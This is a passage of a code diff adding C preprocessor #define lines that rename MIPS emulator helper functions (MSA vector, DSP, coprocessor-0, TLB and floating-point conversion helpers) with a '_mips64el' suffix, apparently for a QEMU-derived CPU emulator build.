helper_msa_bseli_b helper_msa_bseli_b_mips64el +#define helper_msa_shf_df helper_msa_shf_df_mips64el +#define helper_msa_and_v helper_msa_and_v_mips64el +#define helper_msa_or_v helper_msa_or_v_mips64el +#define helper_msa_nor_v helper_msa_nor_v_mips64el +#define helper_msa_xor_v helper_msa_xor_v_mips64el +#define helper_msa_bmnz_v helper_msa_bmnz_v_mips64el +#define helper_msa_bmz_v helper_msa_bmz_v_mips64el +#define helper_msa_bsel_v helper_msa_bsel_v_mips64el +#define helper_msa_addvi_df helper_msa_addvi_df_mips64el +#define helper_msa_subvi_df helper_msa_subvi_df_mips64el +#define helper_msa_ceqi_df helper_msa_ceqi_df_mips64el +#define helper_msa_clei_s_df helper_msa_clei_s_df_mips64el +#define helper_msa_clei_u_df helper_msa_clei_u_df_mips64el +#define helper_msa_clti_s_df helper_msa_clti_s_df_mips64el +#define helper_msa_clti_u_df helper_msa_clti_u_df_mips64el +#define helper_msa_maxi_s_df helper_msa_maxi_s_df_mips64el +#define helper_msa_maxi_u_df helper_msa_maxi_u_df_mips64el +#define helper_msa_mini_s_df helper_msa_mini_s_df_mips64el +#define helper_msa_mini_u_df helper_msa_mini_u_df_mips64el +#define helper_msa_ldi_df helper_msa_ldi_df_mips64el +#define helper_msa_slli_df helper_msa_slli_df_mips64el +#define helper_msa_srai_df helper_msa_srai_df_mips64el +#define helper_msa_srli_df helper_msa_srli_df_mips64el +#define helper_msa_bclri_df helper_msa_bclri_df_mips64el +#define helper_msa_bseti_df helper_msa_bseti_df_mips64el +#define helper_msa_bnegi_df helper_msa_bnegi_df_mips64el +#define helper_msa_sat_s_df helper_msa_sat_s_df_mips64el +#define helper_msa_sat_u_df helper_msa_sat_u_df_mips64el +#define helper_msa_srari_df helper_msa_srari_df_mips64el +#define helper_msa_srlri_df helper_msa_srlri_df_mips64el +#define helper_msa_binsli_df helper_msa_binsli_df_mips64el +#define helper_msa_binsri_df helper_msa_binsri_df_mips64el +#define helper_msa_sll_df helper_msa_sll_df_mips64el +#define helper_msa_sra_df helper_msa_sra_df_mips64el +#define helper_msa_srl_df helper_msa_srl_df_mips64el +#define helper_msa_bclr_df helper_msa_bclr_df_mips64el +#define helper_msa_bset_df helper_msa_bset_df_mips64el +#define helper_msa_bneg_df helper_msa_bneg_df_mips64el +#define helper_msa_addv_df helper_msa_addv_df_mips64el +#define helper_msa_subv_df helper_msa_subv_df_mips64el +#define helper_msa_max_s_df helper_msa_max_s_df_mips64el +#define helper_msa_max_u_df helper_msa_max_u_df_mips64el +#define helper_msa_min_s_df helper_msa_min_s_df_mips64el +#define helper_msa_min_u_df helper_msa_min_u_df_mips64el +#define helper_msa_max_a_df helper_msa_max_a_df_mips64el +#define helper_msa_min_a_df helper_msa_min_a_df_mips64el +#define helper_msa_ceq_df helper_msa_ceq_df_mips64el +#define helper_msa_clt_s_df helper_msa_clt_s_df_mips64el +#define helper_msa_clt_u_df helper_msa_clt_u_df_mips64el +#define helper_msa_cle_s_df helper_msa_cle_s_df_mips64el +#define helper_msa_cle_u_df helper_msa_cle_u_df_mips64el +#define helper_msa_add_a_df helper_msa_add_a_df_mips64el +#define helper_msa_adds_a_df helper_msa_adds_a_df_mips64el +#define helper_msa_adds_s_df helper_msa_adds_s_df_mips64el +#define helper_msa_adds_u_df helper_msa_adds_u_df_mips64el +#define helper_msa_ave_s_df helper_msa_ave_s_df_mips64el +#define helper_msa_ave_u_df helper_msa_ave_u_df_mips64el +#define helper_msa_aver_s_df helper_msa_aver_s_df_mips64el +#define helper_msa_aver_u_df helper_msa_aver_u_df_mips64el +#define helper_msa_subs_s_df helper_msa_subs_s_df_mips64el +#define helper_msa_subs_u_df helper_msa_subs_u_df_mips64el +#define helper_msa_subsus_u_df helper_msa_subsus_u_df_mips64el +#define helper_msa_subsuu_s_df helper_msa_subsuu_s_df_mips64el +#define helper_msa_asub_s_df helper_msa_asub_s_df_mips64el +#define helper_msa_asub_u_df helper_msa_asub_u_df_mips64el +#define helper_msa_mulv_df helper_msa_mulv_df_mips64el +#define helper_msa_div_s_df helper_msa_div_s_df_mips64el +#define helper_msa_div_u_df helper_msa_div_u_df_mips64el +#define helper_msa_mod_s_df helper_msa_mod_s_df_mips64el +#define helper_msa_mod_u_df helper_msa_mod_u_df_mips64el +#define helper_msa_dotp_s_df helper_msa_dotp_s_df_mips64el +#define helper_msa_dotp_u_df helper_msa_dotp_u_df_mips64el +#define helper_msa_srar_df helper_msa_srar_df_mips64el +#define helper_msa_srlr_df helper_msa_srlr_df_mips64el +#define helper_msa_hadd_s_df helper_msa_hadd_s_df_mips64el +#define helper_msa_hadd_u_df helper_msa_hadd_u_df_mips64el +#define helper_msa_hsub_s_df helper_msa_hsub_s_df_mips64el +#define helper_msa_hsub_u_df helper_msa_hsub_u_df_mips64el +#define helper_msa_mul_q_df helper_msa_mul_q_df_mips64el +#define helper_msa_mulr_q_df helper_msa_mulr_q_df_mips64el +#define helper_msa_sld_df helper_msa_sld_df_mips64el +#define helper_msa_maddv_df helper_msa_maddv_df_mips64el +#define helper_msa_msubv_df helper_msa_msubv_df_mips64el +#define helper_msa_dpadd_s_df helper_msa_dpadd_s_df_mips64el +#define helper_msa_dpadd_u_df helper_msa_dpadd_u_df_mips64el +#define helper_msa_dpsub_s_df helper_msa_dpsub_s_df_mips64el +#define helper_msa_dpsub_u_df helper_msa_dpsub_u_df_mips64el +#define helper_msa_binsl_df helper_msa_binsl_df_mips64el +#define helper_msa_binsr_df helper_msa_binsr_df_mips64el +#define helper_msa_madd_q_df helper_msa_madd_q_df_mips64el +#define helper_msa_msub_q_df helper_msa_msub_q_df_mips64el +#define helper_msa_maddr_q_df helper_msa_maddr_q_df_mips64el +#define helper_msa_msubr_q_df helper_msa_msubr_q_df_mips64el +#define helper_msa_splat_df helper_msa_splat_df_mips64el +#define helper_msa_pckev_df helper_msa_pckev_df_mips64el +#define helper_msa_pckod_df helper_msa_pckod_df_mips64el +#define helper_msa_ilvl_df helper_msa_ilvl_df_mips64el +#define helper_msa_ilvr_df helper_msa_ilvr_df_mips64el +#define helper_msa_ilvev_df helper_msa_ilvev_df_mips64el +#define helper_msa_ilvod_df helper_msa_ilvod_df_mips64el +#define helper_msa_vshf_df helper_msa_vshf_df_mips64el +#define helper_msa_sldi_df helper_msa_sldi_df_mips64el +#define helper_msa_splati_df helper_msa_splati_df_mips64el +#define helper_msa_copy_s_df helper_msa_copy_s_df_mips64el +#define helper_msa_copy_u_df helper_msa_copy_u_df_mips64el +#define helper_msa_insert_df helper_msa_insert_df_mips64el +#define helper_msa_insve_df helper_msa_insve_df_mips64el +#define helper_msa_ctcmsa helper_msa_ctcmsa_mips64el +#define helper_msa_cfcmsa helper_msa_cfcmsa_mips64el +#define helper_msa_move_v helper_msa_move_v_mips64el +#define helper_msa_fill_df helper_msa_fill_df_mips64el +#define helper_msa_nlzc_df helper_msa_nlzc_df_mips64el +#define helper_msa_nloc_df helper_msa_nloc_df_mips64el +#define helper_msa_pcnt_df helper_msa_pcnt_df_mips64el +#define helper_msa_fcaf_df helper_msa_fcaf_df_mips64el +#define helper_msa_fcun_df helper_msa_fcun_df_mips64el +#define helper_msa_fceq_df helper_msa_fceq_df_mips64el +#define helper_msa_fcueq_df helper_msa_fcueq_df_mips64el +#define helper_msa_fclt_df helper_msa_fclt_df_mips64el +#define helper_msa_fcult_df helper_msa_fcult_df_mips64el +#define helper_msa_fcle_df helper_msa_fcle_df_mips64el +#define helper_msa_fcule_df helper_msa_fcule_df_mips64el +#define helper_msa_fsaf_df helper_msa_fsaf_df_mips64el +#define helper_msa_fsun_df helper_msa_fsun_df_mips64el +#define helper_msa_fseq_df helper_msa_fseq_df_mips64el +#define helper_msa_fsueq_df helper_msa_fsueq_df_mips64el +#define helper_msa_fslt_df helper_msa_fslt_df_mips64el +#define helper_msa_fsult_df helper_msa_fsult_df_mips64el +#define helper_msa_fsle_df helper_msa_fsle_df_mips64el +#define helper_msa_fsule_df helper_msa_fsule_df_mips64el +#define helper_msa_fcor_df helper_msa_fcor_df_mips64el +#define helper_msa_fcune_df helper_msa_fcune_df_mips64el +#define helper_msa_fcne_df helper_msa_fcne_df_mips64el +#define helper_msa_fsor_df helper_msa_fsor_df_mips64el +#define helper_msa_fsune_df helper_msa_fsune_df_mips64el +#define helper_msa_fsne_df helper_msa_fsne_df_mips64el +#define helper_msa_fadd_df helper_msa_fadd_df_mips64el +#define helper_msa_fsub_df helper_msa_fsub_df_mips64el +#define helper_msa_fmul_df helper_msa_fmul_df_mips64el +#define helper_msa_fdiv_df helper_msa_fdiv_df_mips64el +#define helper_msa_fmadd_df helper_msa_fmadd_df_mips64el +#define helper_msa_fmsub_df helper_msa_fmsub_df_mips64el +#define helper_msa_fexp2_df helper_msa_fexp2_df_mips64el +#define helper_msa_fexdo_df helper_msa_fexdo_df_mips64el +#define helper_msa_ftq_df helper_msa_ftq_df_mips64el +#define helper_msa_fmin_df helper_msa_fmin_df_mips64el +#define helper_msa_fmin_a_df helper_msa_fmin_a_df_mips64el +#define helper_msa_fmax_df helper_msa_fmax_df_mips64el +#define helper_msa_fmax_a_df helper_msa_fmax_a_df_mips64el +#define helper_msa_fclass_df helper_msa_fclass_df_mips64el +#define helper_msa_ftrunc_s_df helper_msa_ftrunc_s_df_mips64el +#define helper_msa_ftrunc_u_df helper_msa_ftrunc_u_df_mips64el +#define helper_msa_fsqrt_df helper_msa_fsqrt_df_mips64el +#define helper_msa_frsqrt_df helper_msa_frsqrt_df_mips64el +#define helper_msa_frcp_df helper_msa_frcp_df_mips64el +#define helper_msa_frint_df helper_msa_frint_df_mips64el +#define helper_msa_flog2_df helper_msa_flog2_df_mips64el +#define helper_msa_fexupl_df helper_msa_fexupl_df_mips64el +#define helper_msa_fexupr_df helper_msa_fexupr_df_mips64el +#define helper_msa_ffql_df helper_msa_ffql_df_mips64el +#define helper_msa_ffqr_df helper_msa_ffqr_df_mips64el +#define helper_msa_ftint_s_df helper_msa_ftint_s_df_mips64el +#define helper_msa_ftint_u_df helper_msa_ftint_u_df_mips64el +#define helper_msa_ffint_s_df helper_msa_ffint_s_df_mips64el +#define helper_msa_ffint_u_df helper_msa_ffint_u_df_mips64el +#define helper_paddsb helper_paddsb_mips64el +#define helper_paddusb helper_paddusb_mips64el +#define helper_paddsh helper_paddsh_mips64el +#define helper_paddush helper_paddush_mips64el +#define helper_paddb helper_paddb_mips64el +#define helper_paddh helper_paddh_mips64el +#define helper_paddw helper_paddw_mips64el +#define helper_psubsb helper_psubsb_mips64el +#define helper_psubusb helper_psubusb_mips64el +#define helper_psubsh helper_psubsh_mips64el +#define helper_psubush helper_psubush_mips64el +#define helper_psubb helper_psubb_mips64el +#define helper_psubh helper_psubh_mips64el +#define helper_psubw helper_psubw_mips64el +#define helper_pshufh helper_pshufh_mips64el +#define helper_packsswh helper_packsswh_mips64el +#define helper_packsshb helper_packsshb_mips64el +#define helper_packushb helper_packushb_mips64el +#define helper_punpcklwd helper_punpcklwd_mips64el +#define helper_punpckhwd helper_punpckhwd_mips64el +#define helper_punpcklhw helper_punpcklhw_mips64el +#define helper_punpckhhw helper_punpckhhw_mips64el +#define helper_punpcklbh helper_punpcklbh_mips64el +#define helper_punpckhbh helper_punpckhbh_mips64el +#define helper_pavgh helper_pavgh_mips64el +#define helper_pavgb helper_pavgb_mips64el +#define helper_pmaxsh helper_pmaxsh_mips64el +#define helper_pminsh helper_pminsh_mips64el +#define helper_pmaxub helper_pmaxub_mips64el +#define helper_pminub helper_pminub_mips64el +#define helper_pcmpeqw helper_pcmpeqw_mips64el +#define helper_pcmpgtw helper_pcmpgtw_mips64el +#define helper_pcmpeqh helper_pcmpeqh_mips64el +#define helper_pcmpgth helper_pcmpgth_mips64el +#define helper_pcmpeqb helper_pcmpeqb_mips64el +#define helper_pcmpgtb helper_pcmpgtb_mips64el +#define helper_psllw helper_psllw_mips64el +#define helper_psrlw helper_psrlw_mips64el +#define helper_psraw helper_psraw_mips64el +#define helper_psllh helper_psllh_mips64el +#define helper_psrlh helper_psrlh_mips64el +#define helper_psrah helper_psrah_mips64el +#define helper_pmullh helper_pmullh_mips64el +#define helper_pmulhh helper_pmulhh_mips64el +#define helper_pmulhuh helper_pmulhuh_mips64el +#define helper_pmaddhw helper_pmaddhw_mips64el +#define helper_pasubub helper_pasubub_mips64el +#define helper_biadd helper_biadd_mips64el +#define helper_pmovmskb helper_pmovmskb_mips64el +#define helper_absq_s_ph helper_absq_s_ph_mips64el +#define helper_absq_s_qb helper_absq_s_qb_mips64el +#define helper_absq_s_w helper_absq_s_w_mips64el +#define helper_addqh_ph helper_addqh_ph_mips64el +#define helper_addqh_r_ph helper_addqh_r_ph_mips64el +#define helper_addqh_r_w helper_addqh_r_w_mips64el +#define helper_addqh_w helper_addqh_w_mips64el +#define helper_adduh_qb helper_adduh_qb_mips64el +#define helper_adduh_r_qb helper_adduh_r_qb_mips64el +#define helper_subqh_ph helper_subqh_ph_mips64el +#define helper_subqh_r_ph helper_subqh_r_ph_mips64el +#define helper_subqh_r_w helper_subqh_r_w_mips64el +#define helper_subqh_w helper_subqh_w_mips64el +#define helper_addq_ph helper_addq_ph_mips64el +#define helper_addq_s_ph helper_addq_s_ph_mips64el +#define helper_addq_s_w helper_addq_s_w_mips64el +#define helper_addu_ph helper_addu_ph_mips64el +#define helper_addu_qb helper_addu_qb_mips64el +#define helper_addu_s_ph helper_addu_s_ph_mips64el +#define helper_addu_s_qb helper_addu_s_qb_mips64el +#define helper_subq_ph helper_subq_ph_mips64el +#define helper_subq_s_ph helper_subq_s_ph_mips64el +#define helper_subq_s_w helper_subq_s_w_mips64el +#define helper_subu_ph helper_subu_ph_mips64el +#define helper_subu_qb helper_subu_qb_mips64el +#define helper_subu_s_ph helper_subu_s_ph_mips64el +#define helper_subu_s_qb helper_subu_s_qb_mips64el +#define helper_subuh_qb helper_subuh_qb_mips64el +#define helper_subuh_r_qb helper_subuh_r_qb_mips64el +#define helper_addsc helper_addsc_mips64el +#define helper_addwc helper_addwc_mips64el +#define helper_modsub helper_modsub_mips64el +#define helper_raddu_w_qb helper_raddu_w_qb_mips64el +#define helper_precr_qb_ph helper_precr_qb_ph_mips64el +#define helper_precrq_qb_ph helper_precrq_qb_ph_mips64el +#define helper_precr_sra_ph_w helper_precr_sra_ph_w_mips64el +#define helper_precr_sra_r_ph_w helper_precr_sra_r_ph_w_mips64el +#define helper_precrq_ph_w helper_precrq_ph_w_mips64el +#define helper_precrq_rs_ph_w helper_precrq_rs_ph_w_mips64el +#define helper_precrqu_s_qb_ph helper_precrqu_s_qb_ph_mips64el +#define helper_precequ_ph_qbl helper_precequ_ph_qbl_mips64el +#define helper_precequ_ph_qbr helper_precequ_ph_qbr_mips64el +#define helper_precequ_ph_qbla helper_precequ_ph_qbla_mips64el +#define helper_precequ_ph_qbra helper_precequ_ph_qbra_mips64el +#define helper_preceu_ph_qbl helper_preceu_ph_qbl_mips64el +#define helper_preceu_ph_qbr helper_preceu_ph_qbr_mips64el +#define helper_preceu_ph_qbla helper_preceu_ph_qbla_mips64el +#define helper_preceu_ph_qbra helper_preceu_ph_qbra_mips64el +#define helper_shll_qb helper_shll_qb_mips64el +#define helper_shrl_qb helper_shrl_qb_mips64el +#define helper_shra_qb helper_shra_qb_mips64el +#define helper_shra_r_qb helper_shra_r_qb_mips64el +#define helper_shll_ph helper_shll_ph_mips64el +#define helper_shll_s_ph helper_shll_s_ph_mips64el +#define helper_shll_s_w helper_shll_s_w_mips64el +#define helper_shra_r_w helper_shra_r_w_mips64el +#define helper_shrl_ph helper_shrl_ph_mips64el +#define helper_shra_ph helper_shra_ph_mips64el +#define helper_shra_r_ph helper_shra_r_ph_mips64el +#define helper_muleu_s_ph_qbl helper_muleu_s_ph_qbl_mips64el +#define helper_muleu_s_ph_qbr helper_muleu_s_ph_qbr_mips64el +#define helper_mulq_rs_ph helper_mulq_rs_ph_mips64el +#define helper_mul_ph helper_mul_ph_mips64el +#define helper_mul_s_ph helper_mul_s_ph_mips64el +#define helper_mulq_s_ph helper_mulq_s_ph_mips64el +#define helper_muleq_s_w_phl helper_muleq_s_w_phl_mips64el +#define helper_muleq_s_w_phr helper_muleq_s_w_phr_mips64el +#define helper_mulsaq_s_w_ph helper_mulsaq_s_w_ph_mips64el +#define helper_mulsa_w_ph helper_mulsa_w_ph_mips64el +#define helper_dpau_h_qbl helper_dpau_h_qbl_mips64el +#define helper_dpau_h_qbr helper_dpau_h_qbr_mips64el +#define helper_dpsu_h_qbl helper_dpsu_h_qbl_mips64el +#define helper_dpsu_h_qbr helper_dpsu_h_qbr_mips64el +#define helper_dpa_w_ph helper_dpa_w_ph_mips64el +#define helper_dpax_w_ph helper_dpax_w_ph_mips64el +#define helper_dps_w_ph helper_dps_w_ph_mips64el +#define helper_dpsx_w_ph helper_dpsx_w_ph_mips64el +#define helper_dpaq_s_w_ph helper_dpaq_s_w_ph_mips64el +#define helper_dpaqx_s_w_ph helper_dpaqx_s_w_ph_mips64el +#define helper_dpsq_s_w_ph helper_dpsq_s_w_ph_mips64el +#define helper_dpsqx_s_w_ph helper_dpsqx_s_w_ph_mips64el +#define helper_dpaqx_sa_w_ph helper_dpaqx_sa_w_ph_mips64el +#define helper_dpsqx_sa_w_ph helper_dpsqx_sa_w_ph_mips64el +#define helper_dpaq_sa_l_w helper_dpaq_sa_l_w_mips64el +#define helper_dpsq_sa_l_w helper_dpsq_sa_l_w_mips64el +#define helper_maq_s_w_phl helper_maq_s_w_phl_mips64el +#define helper_maq_s_w_phr helper_maq_s_w_phr_mips64el +#define helper_maq_sa_w_phl helper_maq_sa_w_phl_mips64el +#define helper_maq_sa_w_phr helper_maq_sa_w_phr_mips64el +#define helper_mulq_s_w helper_mulq_s_w_mips64el +#define helper_mulq_rs_w helper_mulq_rs_w_mips64el +#define helper_bitrev helper_bitrev_mips64el +#define helper_insv helper_insv_mips64el +#define helper_cmpgu_eq_qb helper_cmpgu_eq_qb_mips64el +#define helper_cmpgu_lt_qb helper_cmpgu_lt_qb_mips64el +#define helper_cmpgu_le_qb helper_cmpgu_le_qb_mips64el +#define helper_cmpu_eq_qb helper_cmpu_eq_qb_mips64el +#define helper_cmpu_lt_qb helper_cmpu_lt_qb_mips64el +#define helper_cmpu_le_qb helper_cmpu_le_qb_mips64el +#define helper_cmp_eq_ph helper_cmp_eq_ph_mips64el +#define helper_cmp_lt_ph helper_cmp_lt_ph_mips64el +#define helper_cmp_le_ph helper_cmp_le_ph_mips64el +#define helper_pick_qb helper_pick_qb_mips64el +#define helper_pick_ph helper_pick_ph_mips64el +#define helper_packrl_ph helper_packrl_ph_mips64el +#define helper_extr_w helper_extr_w_mips64el +#define helper_extr_r_w helper_extr_r_w_mips64el +#define helper_extr_rs_w helper_extr_rs_w_mips64el +#define helper_extr_s_h helper_extr_s_h_mips64el +#define helper_extp helper_extp_mips64el +#define helper_extpdp helper_extpdp_mips64el +#define helper_shilo helper_shilo_mips64el +#define helper_mthlip helper_mthlip_mips64el +#define cpu_wrdsp cpu_wrdsp_mips64el +#define helper_wrdsp helper_wrdsp_mips64el +#define cpu_rddsp cpu_rddsp_mips64el +#define helper_rddsp helper_rddsp_mips64el +#define helper_raise_exception_err helper_raise_exception_err_mips64el +#define helper_clo helper_clo_mips64el +#define helper_clz helper_clz_mips64el +#define helper_muls helper_muls_mips64el +#define helper_mulsu helper_mulsu_mips64el +#define helper_macc helper_macc_mips64el +#define helper_macchi helper_macchi_mips64el +#define helper_maccu helper_maccu_mips64el +#define helper_macchiu helper_macchiu_mips64el +#define helper_msac helper_msac_mips64el +#define helper_msachi helper_msachi_mips64el +#define helper_msacu helper_msacu_mips64el +#define helper_msachiu helper_msachiu_mips64el +#define helper_mulhi helper_mulhi_mips64el +#define helper_mulhiu helper_mulhiu_mips64el +#define helper_mulshi helper_mulshi_mips64el +#define helper_mulshiu helper_mulshiu_mips64el +#define helper_bitswap helper_bitswap_mips64el +#define helper_ll helper_ll_mips64el +#define helper_sc helper_sc_mips64el +#define helper_swl helper_swl_mips64el +#define helper_swr helper_swr_mips64el +#define helper_lwm helper_lwm_mips64el +#define helper_swm helper_swm_mips64el +#define helper_mfc0_mvpcontrol helper_mfc0_mvpcontrol_mips64el +#define helper_mfc0_mvpconf0 helper_mfc0_mvpconf0_mips64el +#define helper_mfc0_mvpconf1 helper_mfc0_mvpconf1_mips64el +#define helper_mfc0_random helper_mfc0_random_mips64el +#define helper_mfc0_tcstatus helper_mfc0_tcstatus_mips64el +#define helper_mftc0_tcstatus helper_mftc0_tcstatus_mips64el +#define helper_mfc0_tcbind helper_mfc0_tcbind_mips64el +#define helper_mftc0_tcbind helper_mftc0_tcbind_mips64el +#define helper_mfc0_tcrestart helper_mfc0_tcrestart_mips64el +#define helper_mftc0_tcrestart helper_mftc0_tcrestart_mips64el +#define helper_mfc0_tchalt helper_mfc0_tchalt_mips64el +#define helper_mftc0_tchalt helper_mftc0_tchalt_mips64el +#define helper_mfc0_tccontext helper_mfc0_tccontext_mips64el +#define helper_mftc0_tccontext helper_mftc0_tccontext_mips64el +#define helper_mfc0_tcschedule helper_mfc0_tcschedule_mips64el +#define helper_mftc0_tcschedule helper_mftc0_tcschedule_mips64el +#define helper_mfc0_tcschefback helper_mfc0_tcschefback_mips64el +#define helper_mftc0_tcschefback helper_mftc0_tcschefback_mips64el +#define helper_mfc0_count helper_mfc0_count_mips64el +#define helper_mftc0_entryhi helper_mftc0_entryhi_mips64el +#define helper_mftc0_cause helper_mftc0_cause_mips64el +#define helper_mftc0_status helper_mftc0_status_mips64el +#define helper_mfc0_lladdr helper_mfc0_lladdr_mips64el +#define helper_mfc0_watchlo helper_mfc0_watchlo_mips64el +#define helper_mfc0_watchhi helper_mfc0_watchhi_mips64el +#define helper_mfc0_debug helper_mfc0_debug_mips64el +#define helper_mftc0_debug helper_mftc0_debug_mips64el +#define helper_mtc0_index helper_mtc0_index_mips64el +#define helper_mtc0_mvpcontrol helper_mtc0_mvpcontrol_mips64el +#define helper_mtc0_vpecontrol helper_mtc0_vpecontrol_mips64el +#define helper_mttc0_vpecontrol helper_mttc0_vpecontrol_mips64el +#define helper_mftc0_vpecontrol helper_mftc0_vpecontrol_mips64el +#define helper_mftc0_vpeconf0 helper_mftc0_vpeconf0_mips64el +#define helper_mtc0_vpeconf0 helper_mtc0_vpeconf0_mips64el +#define helper_mttc0_vpeconf0 helper_mttc0_vpeconf0_mips64el +#define helper_mtc0_vpeconf1 helper_mtc0_vpeconf1_mips64el +#define helper_mtc0_yqmask helper_mtc0_yqmask_mips64el +#define helper_mtc0_vpeopt helper_mtc0_vpeopt_mips64el +#define helper_mtc0_entrylo0 helper_mtc0_entrylo0_mips64el +#define helper_mtc0_tcstatus helper_mtc0_tcstatus_mips64el +#define helper_mttc0_tcstatus helper_mttc0_tcstatus_mips64el +#define helper_mtc0_tcbind helper_mtc0_tcbind_mips64el +#define helper_mttc0_tcbind helper_mttc0_tcbind_mips64el +#define helper_mtc0_tcrestart helper_mtc0_tcrestart_mips64el +#define helper_mttc0_tcrestart helper_mttc0_tcrestart_mips64el +#define helper_mtc0_tchalt helper_mtc0_tchalt_mips64el +#define helper_mttc0_tchalt helper_mttc0_tchalt_mips64el +#define helper_mtc0_tccontext helper_mtc0_tccontext_mips64el +#define helper_mttc0_tccontext helper_mttc0_tccontext_mips64el +#define helper_mtc0_tcschedule helper_mtc0_tcschedule_mips64el +#define helper_mttc0_tcschedule helper_mttc0_tcschedule_mips64el +#define helper_mtc0_tcschefback helper_mtc0_tcschefback_mips64el +#define helper_mttc0_tcschefback helper_mttc0_tcschefback_mips64el +#define helper_mtc0_entrylo1 helper_mtc0_entrylo1_mips64el +#define helper_mtc0_context helper_mtc0_context_mips64el +#define helper_mtc0_pagemask helper_mtc0_pagemask_mips64el +#define helper_mtc0_pagegrain helper_mtc0_pagegrain_mips64el +#define helper_mtc0_wired helper_mtc0_wired_mips64el +#define helper_mtc0_srsconf0 helper_mtc0_srsconf0_mips64el +#define helper_mtc0_srsconf1 helper_mtc0_srsconf1_mips64el +#define helper_mtc0_srsconf2 helper_mtc0_srsconf2_mips64el +#define helper_mtc0_srsconf3 helper_mtc0_srsconf3_mips64el +#define helper_mtc0_srsconf4 helper_mtc0_srsconf4_mips64el +#define helper_mtc0_hwrena helper_mtc0_hwrena_mips64el +#define helper_mtc0_count helper_mtc0_count_mips64el +#define helper_mtc0_entryhi helper_mtc0_entryhi_mips64el +#define helper_mttc0_entryhi helper_mttc0_entryhi_mips64el +#define helper_mtc0_compare helper_mtc0_compare_mips64el +#define helper_mtc0_status helper_mtc0_status_mips64el +#define helper_mttc0_status helper_mttc0_status_mips64el +#define helper_mtc0_intctl helper_mtc0_intctl_mips64el +#define helper_mtc0_srsctl helper_mtc0_srsctl_mips64el +#define helper_mtc0_cause helper_mtc0_cause_mips64el +#define helper_mttc0_cause helper_mttc0_cause_mips64el +#define helper_mftc0_epc helper_mftc0_epc_mips64el +#define helper_mftc0_ebase helper_mftc0_ebase_mips64el +#define helper_mtc0_ebase helper_mtc0_ebase_mips64el +#define helper_mttc0_ebase helper_mttc0_ebase_mips64el +#define helper_mftc0_configx helper_mftc0_configx_mips64el +#define helper_mtc0_config0 helper_mtc0_config0_mips64el +#define helper_mtc0_config2 helper_mtc0_config2_mips64el +#define helper_mtc0_config4 helper_mtc0_config4_mips64el +#define helper_mtc0_config5 helper_mtc0_config5_mips64el +#define helper_mtc0_lladdr helper_mtc0_lladdr_mips64el +#define helper_mtc0_watchlo helper_mtc0_watchlo_mips64el +#define helper_mtc0_watchhi helper_mtc0_watchhi_mips64el +#define helper_mtc0_xcontext helper_mtc0_xcontext_mips64el +#define helper_mtc0_framemask helper_mtc0_framemask_mips64el +#define helper_mtc0_debug helper_mtc0_debug_mips64el +#define helper_mttc0_debug helper_mttc0_debug_mips64el +#define helper_mtc0_performance0 helper_mtc0_performance0_mips64el +#define helper_mtc0_taglo helper_mtc0_taglo_mips64el +#define helper_mtc0_datalo helper_mtc0_datalo_mips64el +#define helper_mtc0_taghi helper_mtc0_taghi_mips64el +#define helper_mtc0_datahi helper_mtc0_datahi_mips64el +#define helper_mftgpr helper_mftgpr_mips64el +#define helper_mftlo helper_mftlo_mips64el +#define helper_mfthi helper_mfthi_mips64el +#define helper_mftacx helper_mftacx_mips64el +#define helper_mftdsp helper_mftdsp_mips64el +#define helper_mttgpr helper_mttgpr_mips64el +#define helper_mttlo helper_mttlo_mips64el +#define helper_mtthi helper_mtthi_mips64el +#define helper_mttacx helper_mttacx_mips64el +#define helper_mttdsp helper_mttdsp_mips64el +#define helper_dmt helper_dmt_mips64el +#define helper_emt helper_emt_mips64el +#define helper_dvpe helper_dvpe_mips64el +#define helper_evpe helper_evpe_mips64el +#define helper_fork helper_fork_mips64el +#define helper_yield helper_yield_mips64el +#define r4k_helper_tlbinv r4k_helper_tlbinv_mips64el +#define r4k_helper_tlbinvf r4k_helper_tlbinvf_mips64el +#define r4k_helper_tlbwi r4k_helper_tlbwi_mips64el +#define r4k_helper_tlbwr r4k_helper_tlbwr_mips64el +#define r4k_helper_tlbp r4k_helper_tlbp_mips64el +#define r4k_helper_tlbr r4k_helper_tlbr_mips64el +#define helper_tlbwi helper_tlbwi_mips64el +#define helper_tlbwr helper_tlbwr_mips64el +#define helper_tlbp helper_tlbp_mips64el +#define helper_tlbr helper_tlbr_mips64el +#define helper_tlbinv helper_tlbinv_mips64el +#define helper_tlbinvf helper_tlbinvf_mips64el +#define helper_di helper_di_mips64el +#define helper_ei helper_ei_mips64el +#define helper_eret helper_eret_mips64el +#define helper_deret helper_deret_mips64el +#define helper_rdhwr_cpunum helper_rdhwr_cpunum_mips64el +#define helper_rdhwr_synci_step helper_rdhwr_synci_step_mips64el +#define helper_rdhwr_cc helper_rdhwr_cc_mips64el +#define helper_rdhwr_ccres helper_rdhwr_ccres_mips64el +#define helper_pmon helper_pmon_mips64el +#define helper_wait helper_wait_mips64el +#define mips_cpu_do_unaligned_access mips_cpu_do_unaligned_access_mips64el +#define mips_cpu_unassigned_access mips_cpu_unassigned_access_mips64el +#define ieee_rm ieee_rm_mips64el +#define helper_cfc1 helper_cfc1_mips64el +#define helper_ctc1 helper_ctc1_mips64el +#define ieee_ex_to_mips ieee_ex_to_mips_mips64el +#define helper_float_sqrt_d helper_float_sqrt_d_mips64el +#define helper_float_sqrt_s helper_float_sqrt_s_mips64el +#define helper_float_cvtd_s helper_float_cvtd_s_mips64el +#define helper_float_cvtd_w helper_float_cvtd_w_mips64el +#define helper_float_cvtd_l helper_float_cvtd_l_mips64el +#define helper_float_cvtl_d helper_float_cvtl_d_mips64el +#define helper_float_cvtl_s helper_float_cvtl_s_mips64el +#define helper_float_cvtps_pw helper_float_cvtps_pw_mips64el +#define helper_float_cvtpw_ps helper_float_cvtpw_ps_mips64el +#define helper_float_cvts_d helper_float_cvts_d_mips64el +#define helper_float_cvts_w helper_float_cvts_w_mips64el +#define helper_float_cvts_l helper_float_cvts_l_mips64el +#define helper_float_cvts_pl helper_float_cvts_pl_mips64el +#define helper_float_cvts_pu helper_float_cvts_pu_mips64el +#define helper_float_cvtw_s helper_float_cvtw_s_mips64el +#define helper_float_cvtw_d helper_float_cvtw_d_mips64el +#define helper_float_roundl_d helper_float_roundl_d_mips64el +#define helper_float_roundl_s helper_float_roundl_s_mips64el +#define helper_float_roundw_d helper_float_roundw_d_mips64el +#define helper_float_roundw_s helper_float_roundw_s_mips64el +#define helper_float_truncl_d helper_float_truncl_d_mips64el +#define helper_float_truncl_s helper_float_truncl_s_mips64el +#define helper_float_truncw_d helper_float_truncw_d_mips64el +#define helper_float_truncw_s 